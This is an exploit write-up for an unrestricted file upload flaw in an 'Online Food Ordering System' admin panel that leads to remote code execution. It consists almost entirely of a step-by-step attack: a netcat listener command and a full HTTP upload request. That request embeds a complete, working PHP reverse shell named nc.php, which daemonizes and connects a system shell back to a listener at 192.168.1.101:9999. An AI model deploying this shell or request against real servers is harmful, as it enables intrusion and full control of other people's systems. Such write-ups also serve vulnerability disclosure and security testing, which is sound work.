# Online Food Ordering System Unrestricted File Upload + Remote Code Execution * Exploit Date: 4/18/2022 * Exploit Author: Nguyen Phu Hung (d4rkp0w4r) # Exploit * Step => Login to admin -> `Categoty` -> `Add Categoty` -> `Upload malicious file` * Injection Point => `Select Image` ![](https://i.imgur.com/LHML1T2.png) * Use netcat listen web shell ```python= nc.exe -vv -l -p 9999 ``` * Log out admin page or stayed, web shell direct connected !!! ![](https://i.imgur.com/Kkz3kQc.png) # POC * Request ```python= POST /online-food-order/admin/add-category.php HTTP/1.1 Host: 192.168.1.101:8888 Content-Length: 9853 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.1.101:8888 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydqHz7jzGYIN0VWy4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.1.101:8888/online-food-order/admin/add-category.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: _lang=en; PHPSESSID=hpgbm1opdd0qcqb5f73jvpr4ia Connection: close ------WebKitFormBoundarydqHz7jzGYIN0VWy4 Content-Disposition: form-data; name="title" Hacked ------WebKitFormBoundarydqHz7jzGYIN0VWy4 Content-Disposition: form-data; name="image"; filename="nc.php" Content-Type: application/octet-stream <?php class Shell { private $addr = null; private $port = null; private $os = null; private $shell = null; private $descriptorspec = array( 0 => array('pipe', 'r'), // shell can read from STDIN 1 => array('pipe', 'w'), // shell can write to STDOUT 2 => array('pipe', 'w') // shell can write to STDERR ); private $buffer = 1024; // read/write buffer size private $clen = 0; // command length private $error = false; // stream read/write error public function __construct($addr, $port) { $this->addr = $addr; $this->port = $port; } private function detect() { $detected = true; if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS $this->os = 'LINUX'; $this->shell = '/bin/sh'; } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) { $this->os = 'WINDOWS'; $this->shell = 'cmd.exe'; } else { $detected = false; echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n"; } return $detected; } private function daemonize() { $exit = false; if (!function_exists('pcntl_fork')) { echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n"; } else if (($pid = @pcntl_fork()) < 0) { echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n"; } else if ($pid > 0) { $exit = true; echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n"; } else if (posix_setsid() < 0) { // once daemonized you will actually no longer see the script's dump echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n"; } else { echo "DAEMONIZE: Completed successfully!\n"; } return $exit; } private function settings() { @error_reporting(0); @set_time_limit(0); // do not impose the script execution time limit @umask(0); // set the file/directory permissions - 666 for files and 777 for directories } private function dump($data) { $data = str_replace('<', '&lt;', $data); $data = str_replace('>', '&gt;', $data); echo $data; } private function read($stream, $name, $buffer) { if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream $this->error = true; // set global error flag echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n"; } return $data; } private function write($stream, $name, $data) { if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream $this->error = true; // set global error flag echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n"; } return $bytes; } // read/write method for non-blocking streams private function rw($input, $output, $iname, $oname) { while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) { if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length $this->dump($data); // script's dump } } // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS) // we must read the exact byte length from a stream and not a single byte more private function brw($input, $output, $iname, $oname) { $fstat = fstat($input); $size = $fstat['size']; if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) { // for some reason Windows OS pipes STDIN into STDOUT // we do not like that // we need to discard the data from the stream while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) { $this->clen -= $bytes; $size -= $bytes; } } while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) { $size -= $bytes; $this->dump($data); // script's dump } } public function run() { if ($this->detect() && !$this->daemonize()) { $this->settings(); // ----- SOCKET BEGIN ----- $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30); if (!$socket) { echo "SOC_ERROR: {$errno}: {$errstr}\n"; } else { stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS // ----- SHELL BEGIN ----- $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null); if (!$process) { echo "PROC_ERROR: Cannot start the shell\n"; } else { foreach ($pipes as $pipe) { stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS } // ----- WORK BEGIN ----- $status = proc_get_status($process); @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n"); do { $status = proc_get_status($process); if (feof($socket)) { // check for end-of-file on SOCKET echo "SOC_ERROR: Shell connection has been terminated\n"; break; } else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams } // use proc_get_status() instead $streams = array( 'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR 'write' => null, 'except' => null ); $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS if ($num_changed_streams === false) { echo "STRM_ERROR: stream_select() failed\n"; break; } else if ($num_changed_streams > 0) { if ($this->os === 'LINUX') { if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET } else if ($this->os === 'WINDOWS') { // order is important if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET } } } while (!$this->error); // ------ WORK END ------ foreach ($pipes as $pipe) { fclose($pipe); } proc_close($process); } // ------ SHELL END ------ fclose($socket); } // ------ SOCKET END ------ } } } echo '<pre>'; // change the host address and/or port number as necessary $sh = new Shell('192.168.1.101', 9999); $sh->run(); unset($sh); // garbage collector requires PHP v5.3.0 or greater // @gc_collect_cycles(); echo '</pre>'; ?> ------WebKitFormBoundarydqHz7jzGYIN0VWy4 Content-Disposition: form-data; name="featured" Yes ------WebKitFormBoundarydqHz7jzGYIN0VWy4 Content-Disposition: form-data; name="active" Yes ------WebKitFormBoundarydqHz7jzGYIN0VWy4 Content-Disposition: form-data; name="submit" Add Category ------WebKitFormBoundarydqHz7jzGYIN0VWy4-- ```